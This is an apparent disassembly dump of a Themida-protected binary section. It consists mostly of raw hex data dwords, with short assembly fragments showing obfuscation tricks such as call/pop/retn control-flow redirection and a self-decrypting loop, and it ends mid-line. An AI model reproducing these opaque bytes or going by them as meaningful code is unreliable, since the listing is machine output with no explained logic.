443A5BA7h, 26C5E61Ch, 0CE34AC4Eh, 5DA3D9ADh dd 0E7134A38h, 7387F0C6h, 8DED3252h, 580F2961h, 9FCCE32Ch dd 1C8E7A13h, 30A81A9Dh, 6D98A9CAh, 6835A7A6h, 0AA189B45h dd 57ABD631h, 63304BF4h, 608CEE22h, 2D5EA1DEh, 9FF277F2h dd 63F71F7Fh, 63C25EA1h, 0A9553280h, 9F9285E6h, 0A8D7713h dd 63BCFB8h, 682BDF88h, 9933A4FAh, 0A1FEDD79h, 0FF6D985Eh dd 1BCC4C0Ah, 0CCF15033h, 0DD6220C9h, 586C619Ch, 0A8C25BDBh dd 0A1C61EB6h, 0DC85B5Eh, 0AD63FCD4h, 26DB5AC7h, 0F96C45C4h dd 47D74E5Bh, 0CD7286F1h, 77C26A8Ch, 148FA7F9h, 0E982F095h dd 1A57891Dh, 1E24BB68h, 0C73E4946h, 234C761Bh, 737F7441h dd 5C9FA9ACh, 1A4DC140h, 0AF7F85FDh, 0B40AAB0Ah, 0BD6737C3h dd 2CB3B014h, 94AEE1B7h, 7617E3h, 109EA357h, 1CE88366h dd 9768FABDh, 0D235816Ch, 31CD395Eh, 0BC67E239h, 4E9013D1h dd 67595E5Fh, 91ABE494h, 0A05401E6h, 0AFCCAFF2h, 0C654A0DBh dd 27D89A47h, 0E8C80EC7h, 127C8B29h, 32AD45C9h, 6C629F7Eh dd 680D8C7Ah, 7986C42Dh, 36C0BA38h, 31E51144h, 0DCF131F0h dd 0A9309399h, 0D77AA476h, 6F3A63EBh, 0EC0AE4ABh, 0FAC18927h dd 0A3738FF4h, 0A14ABF7Eh, 0D7000003h, 38F850Dh, 0BED5F868h dd 5E5D8D06h, 50B93CFFh, 308DED12h, 0FD5BF9CCh, 5332C6B1h dd 0A1DCB4B6h, 608926C4h, 0C0FD1D22h, 0AD23B33Ah, 245FA072h dd 0B6FF5644h, 47C24512h, 609CCB9Ah, 0FD097CB2h, 46298829h dd 26C859B9h, 0BAE52A56h, 0AA5E0985h, 36C2B509h, 0D7BB1554h dd 42B321A7h, 63Dh, 6607FDE1h, 0F3906610h, 7F1CE09Fh, 1A25E0Bh dd 8E2FD58Dh, 0EB9787EFh, 601E6C11h, 0DC89FD9Eh, 44378B28h dd 0AEF113B0h, 0F27204Ch, 0D246D58h, 81BEFCE5h, 0F9D1D861h dd 0E8BAE55Bh, 41D5215Ah, 0C0CDC28Eh, 0B3DB3B27h, 0FEA7F633h dd 0BAEDA0A7h, 4D23BA7Eh, 743555EAh, 5BA2AE08h, 8EEE3D20h dd 20E3FE30h, 105D06BDh, 0BCCB430Ah, 8A6D91CEh, 16E295E9h dd 5AF0E5E9h, 0ECF9C38h, 0E746D9ACh, 926617h, 738C1EA1h dd 36F9037Fh, 7727D384h, 457F50E0h, 25C5E612h, 4F764003h dd 29FEBh, 5E9F3400h, 0A1FE903Ch, 375FBF5Eh, 825EA1FEh dd 62257C23h, 87B8FAE7h, 0FCA99F67h, 36CB5A5Bh, 993AC0B8h dd 0D747BD25h, 1ABFFA2Dh, 7F3E4ECh, 730834A7h, 78E1C34h dd 561h, 3A5BA1DDh, 0C7E41244h, 4B6894F3h, 0D5F60A77h dd 6203F9E1h, 9FCBB3BBh, 14724065h, 80F5C9EAh, 8635774h dd 62A5DFFCh, 0F24D400h, 3968A158h, 81BEFCE5h, 0FCA96561h dd 5DD1505Bh, 0E00C9CCFh, 0DCC2B33Dh, 0B90DAE11h, 97683ACEh dd 91B1466Ch, 42C59812h, 0A31787F0h, 802C4E04h, 0CDA7F03Fh dd 29099752h, 0F88F1FFEh, 2A5D6728h, 0BF6F95CDh, 50FA9B7Ah dd 56186136h, 1E738h, 0B9D20900h, 4F3EB44Dh, 0C746EBBBh dd 6296C157h, 9FFF0041h, 5EA1FE77h, 0A520E342h, 0A1C17E3Ch dd 5BF9F328h, 0A1020C77h, 0AE7C86E2h, 0F6E1CC0Bh, 3E21E45h dd 7B2BD5B3h, 0B9E87736h, 8F274788h, 92A7F609h, 0E7713DCAh dd 1A851882h, 0B9D90B9Bh, 0DBA7F60Eh, 4DC353ADh, 9A35E917h dd 4CAED9F6h, 0A7F60E20h, 3B53326Dh, 0B0D63897h, 0BE561F02h dd 45h, 0BEFCE583h, 0E2586181h, 29655BF9h, 39ED4CB0h, 0F62C6B87h dd 0AC5009A7h, 6985E5FEh, 24A7F62Ch, 0AD5309FDh, 0C33DABF9h dd 0EBBDCE53h, 51E18DA4h, 0EBF2097Eh, 97A45040h, 0B0D6B073h dd 0BE561E63h, 0B5h, 13B9D283h, 0A1FE5BF3h, 0E59C165Eh dd 45248519h, 86E230E2h, 9DCFC37Ch, 2BFB0F78h, 32772786h dd 0B35B2037h, 0D756BE89h, 7286F147h, 8D7912A0h, 7496D7E8h dd 5EA142D8h, 578B0A95h, 5EA14575h, 0EB887C6Fh, 0FC0547A0h dd 0F8C26F9Ah, 30D1505Bh, 9F3CC6A2h, 0E145BF2Bh, 34743BCCh dd 0CA5BBA28h, 74000003h, 0FDD1F208h, 6A587D8Bh, 0EEDC817Dh dd 186E0FF3h, 52F99A60h, 8278601Ah, 9F7EDE1h, 93671664h dd 1FEB9CF2h, 0E101467Eh, 580F25B5h, 0D298B700h, 72B34CB6h dd 0A1FEE410h, 57DB15Eh, 0F89D1CFFh, 1C25D18Ah, 69EFBAE1h dd 91655DB2h, 0F19215EBh, 4DB9D23Eh, 0BE403EB4h, 0AED96FFFh dd 0FD08395Ah, 99F9CD94h, 5EA1717Dh, 3462E938h, 6617E70Ah dd 1EA10092h, 627E9Bh, 5EA105D4h, 629F7EA1h, 595C121h dd 9CCF5EA1h, 0AB6AB568h, 0F9393456h, 2B7A5BFAh, 102B497Bh dd 1C45A7F9h, 84FC32E0h, 28D68C7Eh, 0DDF2827Ah, 9E31C7F4h dd 0B347693h, 7220D487h, 52936C2Fh, 4BDB275Ch, 0F2FB27E6h dd 0BFA2A2ECh, 0A8D7DB64h, 61B0D554h, 0D94DB9D2h, 0C7E4104Bh dd 0A8591BC4h, 0F9F37346h, 5BBB3C5Bh, 0A7F61F33h, 0D644277Eh dd 0F61F842Ch, 6F8E6A7h, 0C45A0694h, 7985E952h, 7B2B8ADBh dd 527B54E4h, 0E19B1738h, 0C739A717h, 2153D257h, 0B366806Eh dd 5048561Eh, 0D9000000h, 81BEFCE5h, 0BCAA0F7Ah, 0E5A4FE17h dd 0A8D7DB1Ch, 5AF99130h, 907318A0h, 3CE70F6Fh dd 73B25EA1h, 20AB6EB0h, 2D745BF9h, 6A2B4779h, 0E191A7F9h dd 0A32640AEh, 0C500561Fh, 104ED282h, 38986BEEh, 0FDEDB0B7h dd 0ED951A5Eh, 0AEDD2Ah, 9F620000h, 1E8C7813h, 31AA189Bh dd 0A7C351C5h, 7BC95Dh, 0E79026F4h, 8E707213h, 705EA1F9h dd 0FCD2F307h, 8F7B6C8Bh, 6B3B9A1Fh, 0BA4705E2h, 5FF6D58h dd 0B6D74EA4h, 0B7480AF7h, 0AF8B2857h, 0E51A85A2h, 0B72A42A4h dd 1148AC0Ch, 2CEF36EDh, 59A3DFD3h, 0E01A4634h, 8F6A5D02h dd 0D63FAD3Fh, 201h, 9A3BC1BDh, 2744B224h, 0ABC83453h dd 3556AAD7h, 0C2E31941h, 3FAB531Bh, 0B4D2A0C5h, 2055294Ah dd 0A8C3B7D4h, 0C2053F5Ch, 0F2374A0h, 0D9C84158h, 2F4CB6D2h dd 2BD4205Bh, 0FE6C88EAh, 0F6295EA1h, 0D62D5637h, 0C4DEB949h dd 85941709h, 36ADFCE5h, 12D958CAh, 414763D0h, 0A37968Ch dd 609CC5C9h, 0B5B801A1h, 1A855BF9h, 0D4367788h, 0A7F9D7B8h dd 2D89CEF5h, 3855D71Eh, 0E808D659h, 52A7F96Eh, 6DD2CA31h dd 9CF36B69h, 0C8EB0363h, 7FA6A7F9h, 2DC3CCBCh, 561F450Bh dd 0BA13h, 0B9D23C00h, 1F4BD94Dh, 25565CE5h, 5DDC5DD1h dd 0F9B517C9h, 9BE25EA1h, 81D18366h, 3B372EBh, 18639C68h dd 0DFF8D74Fh, 0C8AD6C58h, 0A17581FAh, 48F9BB24h, 432CFC07h dd 0ABD74B97h, 0A564C731h, 5D0807Dh, 91326DA4h, 92AFED0Ah dd 1699651Ch, 0B0DD89E9h, 49D8A2AFh, 0B24C3AB8h, 1FE41E0h dd 6E98F2C0h, 8E1CEA9Ch, 0AEDA682Bh, 27433754h, 54079DDh dd 36A43F8Fh, 0E8DFh, 0D02A5A00h, 5BADDFB3h, 0E31F443Ah dd 6995CCC2h, 0F00A7644h, 5A4428D3h, 0C3B7D42Eh, 443A5BA5h dd 0F2C0E511h, 34486D99h, 207B93F3h, 0F936580Fh, 4CB6D2C6h dd 0D4205B2Fh, 5B008EB7h, 9FF5E4A7h, 0C8F7913h, 6539CDBEh dd 9561149Ah, 0ADE1A001h, 0EEADCE3Ah, 5CBE4301h, 5BFCA964h dd 0F644D649h, 7E4C7185h, 0FB25F90Dh, 5ED9460Eh, 9FA5EA7Ah dd 77B18ECh, 709CFE54h, 3DEEB765h, 509303E2h, 25FE4835h dd 0B772A9C5h, 0BEBDE4EEh, 0C323C6AAh, 0EEB742ABh, 23DCBFE6h dd 0B742ABC3h, 0FCBFE6EEh, 52EF134Eh, 58DB275Ch, 0BDC809CAh dd 0C424E2B7h, 0E8981BBBh, 7AEA9DA7h, 3CA2CA35h, 2551B10Dh dd 70EEB7A0h, 8BFC4E31h, 0AB0AAF7Fh, 996D1896h, 80E5A405h dd 0F9AD5932h, 0C94h, 1FE09D00h, 55B4E2E4h, 27E65535h dd 48B2D234h, 0E71344DAh, 0F4E137h, 98661C92h, 36CCB40Ah dd 50AAD664h, 0E9154CC2h, 4F8E735h, 0A0560096h, 895014F2h dd 4BB53E0h, 1000000h, 0E8835BD8h, 24048704h, 7076685Ch dd 1C890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h dd 52240489h, 686FF668h, 0F2815A52h, 54C6BAD1h, 148BD389h dd 4C48324h, 24048B54h, 5104C483h, 1150B850h, 7E352989h dd 0C17A3661h, 0DD3504E0h, 350C7D30h, 378A3235h, 158C189h dd 591989C1h, 5124048Bh, 0C181E189h, 4, 8704C183h, 8B5C240Ch dd 8957241Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h, 661AE95Ch dd 0FC1AFFFAh, 6FE2FC07h, 0DDB5FFDBh, 0DF95B8DAh, 0C50306AEh dd 4D1DE0FFh, 0D8A84DA4h, 29181776h, 64E502E9h, 0FA320B40h dd 2DA226C2h, 31EE1A4Eh, 3406B6Fh, 0F108794Bh, 0D687067Fh dd 4826731Ah, 0AA416428h, 0D58974F3h, 82B62760h, 30AB2C78h dd 1C463932h, 7338787Fh, 0CE2F77E9h, 8E855B2h, 0C4000000h dd 21BBA73h, 81B5073Bh, 0CB7E5BCBh, 81FC592Ch, 5BFFC1h dd 13800F00h, 0E8000000h, 0Bh, 0C8248029h, 0F5BA0D85h dd 502A4D92h, 0D6685B5Bh, 0E9000016h, 0Eh, 0A1CC26D8h dd 10AB984Ch, 3B0AC7DDh, 0B85EC94Fh, 5F16EA4Dh, 81F9398Bh dd 321A2C7h, 0D18B661Ah, 8D52EF81h, 0D28128C1h, 189A5418h dd 0D23DF781h, 1CBB5B54h, 89335D3Ch, 0C3815739h, 142922A1h dd 1E98358h, 18840Fh, 0E9510000h, 11h, 4C37478Eh, 3B587D56h dd 0EFFC4265h, 2D5A2E42h, 49495B95h, 0C6BF0F49h, 0F01EE83h dd 0FFFFA385h, 0AE8F9FFh, 0C3000000h, 5286274h, 35BB897Ch dd 6CB6BAFFh, 0BA59321Bh, 761AAD39h, 644FC181h, 11E90000h dd 0AC000000h, 34C35560h, 2FE4FB4Bh, 1D438B54h, 0B3AA3A1Eh dd 68h, 665EFC00h, 1C8BD38Bh, 0E7816631h, 0F38112D5h, 68D62DF2h dd 16830F60h, 0E9000000h, 11h, 0D6E0AEBBh, 7A053678h, 0FCD1E26h dd 211EB213h, 0D781661Ch, 81612E01h, 0FFB07FEBh, 0DE96047h dd 63000000h, 0DC4C2564h, 0FAF8A8FDh, 0F5960F8Ah, 0C38161FCh dd 0E22375h, 48FF953h, 9880F31h, 0F000000h, 38Ch, 0D2B70F00h dd 0BF02EE83h, 4AF85AC2h, 52564E4Eh, 13E9h, 91C0A00h, 1B8E6C9h dd 122D1902h, 176B94A6h, 5610DEDCh, 0FE81585Ah, 0FFFF9CC0h dd 30850Fh, 14E90000h, 30000000h, 0C053D65Dh, 8CAFF509h dd 29A2D51h, 0E8CCBF04h, 0E91B6D09h, 22h, 0FE567FFDh, 7E204016h dd 0B48736EAh, 0EBE7604Eh, 8FBA612Eh, 0E961CAFDh, 0FFFFFF2Eh dd 8FCD9E08h, 8D8DA340h, 6AEE327h, 10E9h, 741FEE00h, 0B8C1142Eh dd 0A5ABEB52h, 1EBA4C5Bh, 0B98D89B9h, 8B06A805h, 0A8069985h dd 6985C706h, 4406A814h, 6A000066h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 8CB7C350h dd 619D8979h, 8B06A830h, 0BD85C7F3h, 6A80Bh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 35E6C351h, 14E8BCh, 0B18C0000h, 587B650Ah dd 24734ED9h, 0CCB2C91Dh, 910F1B0Dh, 0E781B7B7h, 4F37618Bh dd 71B5FF5Eh, 0E806A820h, 12h, 0E9CFDD88h, 2903DE61h, 489A33ABh dd 0B964B798h, 8D29E4ADh, 6A81019h, 0DD95FF5Ah, 8A06A820h dd 0FF006AC3h, 0A81B3195h, 0EBC08B06h, 3E902D09h, 8C019A62h dd 8D8DF863h, 6AEE449h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 4FC35040h, 0D2791BA7h, 0BFA02550h, 75BE66C8h dd 0B98D8994h, 6606A805h, 9AE0FB8h, 0A829A1BDh, 6985C706h dd 4806A814h, 6A00006Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0F5B8C351h, 72D8F588h dd 0E805611Eh, 10h, 0E90CB925h, 75A810F0h, 0A4A5EA37h dd 3BA9904Eh, 132EBE66h, 0BD85C75Bh, 6A80Bh, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0BF87C357h, 1105A769h, 0A7D144A3h, 6E9h dd 1E89F900h, 0F0FAA4Eh, 286h, 0FFF78B00h, 0A81561B5h dd 0FA4CBB06h, 8D892078h, 6A82149h, 20DD95FFh, 6A06A8h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 90F1CBC3h, 89087352h, 0A8219D9Dh, 4DBD8906h, 6A06A830h dd 3195FF00h, 8B06A81Bh, 140BEBC0h, 62340C6Eh, 6027C68h dd 9E8C4DAh, 0FC000000h, 16043B89h, 0CDA3A83Eh, 0DB9852Bh dd 0E95F06A8h, 6, 0EA3B4782h, 0C78136C1h, 6C7Fh, 2089958Bh dd 0F1BB06A8h, 6000001Ah, 0DDD8D89h, 665006A8h, 5A8F78BEh dd 6637FF61h, 0E67FD281h, 69C9805Eh, 4397EE81h, 0D9804B3Bh dd 0CBF681BCh, 66444D55h, 6231C181h, 378DF681h, 8B56600Eh dd 0A8068595h, 37895906h, 16E59D31h, 0EF8106A8h, 0E3C78FFh dd 0A718D89h, 0C78106A8h dd 0E3C78FBh, 0FE9h, 0ABF73600h, 96C670F1h, 51D1662Eh dd 2FD9EB78h, 1EB81h, 850F0000h, 0FFFFFF99h, 12E8h, 566BF500h dd 0C5B16112h, 276C4275h, 9627CB21h, 8932849Dh, 0A82CCD85h dd 0EE85A06h, 5D000000h, 14B95DA5h, 3A2E624Ah, 0D7D4915Ah dd 29B52335h, 5F06A81Bh, 1E418D8Bh, 0C78106A8h, 6185h dd 7E9h, 0FAF2FF00h, 18C913DCh, 34FFC033h, 0B5295138h dd 6A807C1h, 0C2815B5Ah, 7410DB6Fh, 0FCBBEB81h, 8B66181Dh dd 6CF381F1h, 236A3BE6h, 0A80F6595h, 0CEC38106h, 5078E733h dd 6BD68166h, 89535EC4h, 0A82CCD9Dh, 7048F06h, 0EADBD89h dd 896006A8h, 0A806CD8Dh, 886BB906h, 83617EDFh, 858903E8h dd 6A833EDh, 75853148h, 8106A833h, 0FF9F18F8h, 93850FFFh dd 66FFFFFFh, 0AF8FEE81h, 0E6668D8Dh, 0E1BB06AEh, 0E9792581h dd 6, 4727A295h, 8D89C3C6h, 6A805B9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 10C35242h, 66FEEB17h, 85C7C18Bh dd 6A81469h, 6BA0h, 2665958Bh, 85C706A8h, 6A80BBDh, 0 ; --------------------------------------------------------------------------- jmp loc_5B8032 ; --------------------------------------------------------------------------- db 78h, 0E0h, 30h ; --------------------------------------------------------------------------- xor al, 0A6h loc_5B8032: ; CODE XREF: Themida_:005B8028j push dword ptr [ebp+6A801B1h] sub [ebp+6A82B91h], esi call dword ptr [ebp+6A820DDh] push 0 push edi call sub_5B804F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B804F proc near ; CODE XREF: Themida_:005B8047p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5B804F endp ; --------------------------------------------------------------------------- ror byte ptr ds:0CE7E1C51h, cl cmp [ecx], ebp mov ch, 0C1h push gs push es push 0 call dword ptr [ebp+6A81B31h] mov eax, eax jmp short loc_5B80E4 ; --------------------------------------------------------------------------- dd 9D948039h, 6CFCF90Ah, 0D49AE719h, 33B05346h, 0B02BB609h dd 0F3AB695Bh, 6959DC1h, 117E096Bh, 9857AF06h, 490F3CCh dd 0ECC100D5h, 22D51E7Eh, 0D05649D8h, 574E35A8h, 0B0C4B231h dd 65C01F5Ah, 78A2CCB9h, 0DEE71D22h, 0B1FE4B09h, 0B2CE69C4h dd 22FA600Bh, 928C5A97h, 7649B85Eh, 2AF691CCh, 0D636DBC8h dd 94875606h, 0B373EB5Ah ; --------------------------------------------------------------------------- loc_5B80E4: ; CODE XREF: Themida_:005B8076j lea ecx, [ebp+6AEE79Bh] push 0 push ecx call sub_5B80F5 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B80F5 proc near ; CODE XREF: Themida_:005B80EDp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5B80F5 endp ; --------------------------------------------------------------------------- db 0DCh, 0Bh, 0DAh dd 68A0Fh, 9D090000h, 6A819ADh, 5B98D89h, 6A06A8h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0CC078CC3h, 0D88166D0h, 85C7644Eh, 6A81469h, 5A7Ch dd 418D8953h, 5E06A814h, 68CCBB66h, 0BBD85C7h, 6A8h, 66560000h dd 0FF58F88Bh, 0A816FDB5h, 68E0F06h, 8B000000h, 0A81E059Dh dd 48D0F06h, 66000000h, 0FFB5C9BFh, 0A820DD95h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0FF006AF6h, 0A81B3195h, 0EBC08B06h, 91143E39h, 0EA355C0Eh dd 1D1A6F3Bh, 0E9A3E4AFh, 0A4B813FDh, 0D73A3D33h, 237C170Bh dd 269493h, 99B7B328h, 15F8D9BAh, 7D75CEE2h, 6CD1BBF5h dd 9E26FA9Ch, 683F5E83h, 8D8DA133h, 6AEE8A7h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4AC35343h, 10E83DA9h dd 0D791AF70h, 0CD8589A8h, 8906A816h, 0A805B98Dh, 870F6006h dd 6, 210D852Bh, 8D3106A8h, 6A82AE5h, 6985C761h, 8C06A814h dd 6A000066h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 192C351h, 0E50CF554h, 0B307D3Eh dd 86EF8166h, 0BD85C729h, 6A80Bh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 2957C357h, 89F96257h, 0A8150D9Dh, 0A1B5FF06h, 8B06A814h dd 0A82F4D9Dh, 0DD95FF06h, 5306A820h, 81E9BA66h, 0FF006A5Bh dd 0A81B3195h, 0EBC08B06h, 1DA7F129h, 0D61C29DAh, 8D38449Ch dd 8720FFE0h, 83B6114Eh, 7A775676h, 9C0F70B0h, 0AF5C080Fh dd 4D15E54Dh, 0E3CA79E3h, 9E8024Ch, 86000000h, 1B4108FAh dd 0F32EED43h, 73B9D081h, 665A0EAAh, 0C281F38Bh, 7048h dd 6870Fh, 0BD890000h, 6A817A9h, 1BF568h, 59E18A00h, 3375B589h dd 32FF06A8h, 21319D89h, 895F06A8h, 0A82E2D9Dh, 0E3C78106h dd 0FC4246DCh, 0C6C4EF81h, 0B5233346h, 6A821FDh, 0C6C3F781h dd 9D096486h, 6A821BDh, 0EC803A89h, 4EA8355h, 1E981F9h dd 0F000000h, 0FFFFBD85h, 0E8F08BFFh, 14h, 193EE9A2h, 1D8476F1h dd 4953D569h, 0AB18C8Fh, 0D9587B65h, 20799D89h, 15A06A8h dd 0A81A599Dh, 0AFC28106h, 52000062h, 0B2BC881h, 0BF58612Ch dd 0 ; --------------------------------------------------------------------------- stc loc_5B8399: ; CODE XREF: Themida_:005B83F7j mov ebx, [edx+edi] or ax, 0D5B7h sub ebx, 7B311694h sub ebx, 23550376h xor [ebp+6A820A5h], edx add ebx, 34327AA1h mov [ebp+6A82B81h], ecx push ebx jnb loc_5B83DC jmp loc_5B83DC ; --------------------------------------------------------------------------- db 0E7h dd 7FFC3227h, 0EFE5DF1Fh, 474479D5h, 792E935Dh ; --------------------------------------------------------------------------- loc_5B83DC: ; CODE XREF: Themida_:005B83C0j ; Themida_:005B83C6j pop dword ptr [edx+edi] mov si, dx mov esi, [ebp+6A8055Dh] sub edi, 4 mov [ebp+6A80BD5h], ecx cmp edi, 0FFFF9DECh jnz loc_5B8399 mov [ebp+6A822D9h], esi lea ecx, [ebp+6AEEAAFh] push 0 push ebp call sub_5B8414 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8414 proc near ; CODE XREF: Themida_:005B840Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5B8414 endp ; --------------------------------------------------------------------------- lahf push 0FFFFFF8Eh adc eax, 666312D8h mov [ebp+6A805B9h], ecx push 0 push esi call sub_5B843D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B843D proc near ; CODE XREF: Themida_:005B8435p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5B843D endp ; --------------------------------------------------------------------------- add eax, 0E84ABF66h mov edi, ebx mov dx, 4397h mov dword ptr [ebp+6A81469h], 6B84h push 0 push esi call sub_5B846D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B846D proc near ; CODE XREF: Themida_:005B8465p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5B846D endp ; --------------------------------------------------------------------------- db 50h, 0A2h, 0Fh dd 0C8Ah, 850B6000h, 6A801A9h, 958BBA66h, 0BD85C761h, 6A80Bh dd 31000000h, 0A8168595h, 0A9B5FF06h, 0B006A81Dh, 0DD95FFC1h dd 8906A820h, 0A800DD9Dh, 0FF006A06h, 0A81B3195h, 0EBC08B06h dd 0A8F3E40Ch, 7F9C5F1Eh, 0A97349FFh, 9E8F4h, 5B5A0000h dd 0DEC721CBh, 8B0B62E9h, 0A8297585h, 29605E06h, 0A817C5BDh dd 71858B06h, 6106A809h, 5B39C681h, 0BBF90000h, 105F8B7Bh dd 8B18C381h, 0BA66EFA0h, 36FF9CE6h, 15CD9D01h, 0B65906A8h dd 94F18106h, 0F90A3D68h, 0B9CCE981h, 0DF812214h, 732811DFh dd 322FE981h, 0EE97E68h, 0F2000000h, 2CBA0A64h, 7D34DDD7h dd 0D6573D7Eh, 8A0E8935h, 0EE81E2h, 0FC6366F6h, 0F5FCC681h dd 60606366h, 16CD858Bh, 858B06A8h, 6A81A5Dh, 0EB836161h dd 3E850F01h, 0E8000000h, 14h, 45C2F9Ch, 0EE903DE1h, 0BDEB6C86h dd 20FBC7F4h, 0A719AC63h, 6800Fh, 0C2810000h, 3B85016Ah dd 31E95Fh, 4DEC0000h, 0E8D7D154h, 7902A16Ah, 7987210Bh dd 3E7B1326h, 0DA8057BBh, 57E9586Fh, 3FFFFFFh, 0E32E5D78h dd 7194C50h, 0BDA5FDF3h, 9F8DF15Eh, 0E845172Ah, 8, 0AEA0AE7Bh dd 0D678F6BFh, 9AA2F681h, 8B587F49h, 0A821C19Dh, 0D1C08106h dd 60000064h, 29B5858Bh, 2BBE06A8h, 612794B8h, 64484FBAh dd 0C0C28167h, 29989BD0h, 0A82F6D85h, 6630FF06h, 0BCF4DE81h dd 98E98159h, 50305F8Ah, 18F1815Bh, 811ABD19h, 627EBBD6h dd 0B5C18139h, 51755634h, 68E0Fh, 0EE810000h, 69891403h dd 9D8B008Fh, 6A826A1h, 6DBCE881h, 0BB662782h, 0C0812CF0h dd 27826DB8h, 0C7816650h, 815BEA49h, 1EAh, 0A6850F00h dd 8BFFFFFFh, 0A80F799Dh, 6E806h, 4DCF0000h, 0DC088F05h dd 9D895BF8h, 6A81769h, 6DBBC381h, 8B660000h, 1B4368F2h dd 81660000h, 5A26ABC6h, 6820Fh, 0BD290000h, 6A82521h dd 0F5633FFh, 585ECFBFh, 6870Fh, 8D8B0000h, 6A81EE5h, 0E19DF081h dd 0B58B3790h, 6A827B1h, 45B5E881h, 8D8B7E33h, 6A8326Dh dd 4B73E881h, 0BD894C0Fh, 6A815EDh, 8FFE8B50h, 1EB8303h dd 6850Fh, 8D8B0000h, 6A827ADh, 894B4B4Bh, 0A80EADBDh dd 1EA8106h, 0F000000h, 1785h, 19B58900h, 0E906A801h, 19h dd 6A5A2D11h, 392BA5FBh, 0D0E6F129h, 0E96CE180h, 0FFFFFF80h dd 0AEC3479Ah, 0A0758298h, 14690889h, 8DA6DC78h, 368D481Fh dd 35A12E86h, 0D9259086h, 30254813h, 1E189905h, 3F25142Eh dd 30258102h, 0B5980786h, 3023EA93h, 305EA589h, 0B5E39086h dd 368D5D53h, 0D1BE4CC8h, 4A4F4CBh, 3F13D2A2h, 0D907BC8h dd 0BD23EAA8h, 9B4C5003h, 0BBF56F80h, 0E5A08E76h, 7E238C93h dd 3025166Eh, 72F24986h, 74AED42Eh, 30AE46A2h, 3401650Fh dd 0B5906FDEh, 0BD23E093h, 9B4C5503h, 0BBF5ED80h, 3035B07Eh dd 38CC8486h, 96254286h, 302BA489h, 3B6C9086h, 0C0A0474Fh dd 0D9DADB79h, 3025128Bh, 7F8A940Bh, 359D822Eh, 0CF254286h dd 3C98AC65h, 0BD233E6Bh, 9EC89A0Bh, 15379C80h, 0FF0E94B6h dd 0A0758247h, 14690889h, 8DA6DC78h, 368D481Fh, 35A12E86h dd 0D9259086h, 30254813h, 83189905h, 0A4F305E9h, 22B9h dd 0BE900h, 0EF840000h, 7FE8h, 0 dd 802E900h, 57F20000h, 0A27881Eh, 3058FB4Fh, 0EC822D79h dd 91B21DA9h, 0B0C14EDCh, 3E8CC162h, 62B8F595h, 5CEAA3C1h dd 8D1950F3h, 81B9C319h, 43B606C5h, 1CBA1E05h, 57D6AEEAh dd 7DBB94AFh, 57D6ACEBh, 1D54F7AFh, 33E96389h, 622B4AFDh dd 8E12EC3Dh, 3C8B2D89h, 45872398h, 0B6007B22h, 39EA37E0h dd 6ED15518h, 881986CFh, 8007ACE5h, 0E0838A2Bh, 0CDB91DA9h dd 28147772h, 7Ch, 9B5EFFF3h, 316AB7FAh, 294ADB58h, 0D1A4D85h dd 3D164C87h, 8F34F89h, 0BCD41D63h, 0A3088F7Ch, 175AFB02h dd 0F73355F3h, 0CDAF5818h, 0E84C3662h, 12DF90FCh, 431Bh dd 6302ED00h, 0BAA58E2Ah, 2F743959h, 0A2EB8DFEh, 4D88A976h dd 34EEF2Eh, 0F948D9Eh, 7EF8251Eh, 0AF57D737h, 0E6EDB6E5h dd 98D20845h, 10AA74ACh, 1A3EAFE4h, 917FC553h, 0DE430A2Eh dd 19E46BCDh, 0C7000000h, 1BF25EFFh, 0D7B95BBEh, 38C26F58h dd 0AF5815FEh, 0B9C0614Ah, 6A51D598h, 0D80EB5E7h, 0FFD807AEh dd 98B3FDB5h, 9C2BC6BAh, 6B38EB2Bh, 7E57F1C8h, 0E1871885h dd 0BF412A8h, 28F72168h, 23E44900h, 339C4AF1h, 10DA5E13h dd 0A82D83F6h, 49D641BCh, 7D842D86h, 0EE1492DBh, 42EA3640h dd 0A8A10968h, 0A84C2A6Eh, 9AB718BCh, 0EDB2E6DFh, 0FBE4024Bh dd 2B981059h, 0A84BF723h, 0A102B9BCh, 1851F4DFh, 8916829Bh dd 3B60A6EFh, 0B91C30BAh, 0E0EC515Ah, 0E043FF48h, 0FFE6C3FBh dd 0BA30155Ch, 2F743959h, 5FE3E4FEh, 151B8693h, 0F4123983h dd 15DFCAE8h, 4BEFh, 59BA3000h, 7648923Ah, 9C19FD36h, 8B2D7EA3h dd 87CC863Ch, 0D7F0F748h, 0BAB1968Fh dword_5B89E0 dd 3A87DA1Ch ; DATA XREF: Themida_:005504A5r ; Themida_:00550507r dd 8BA8ECF7h, 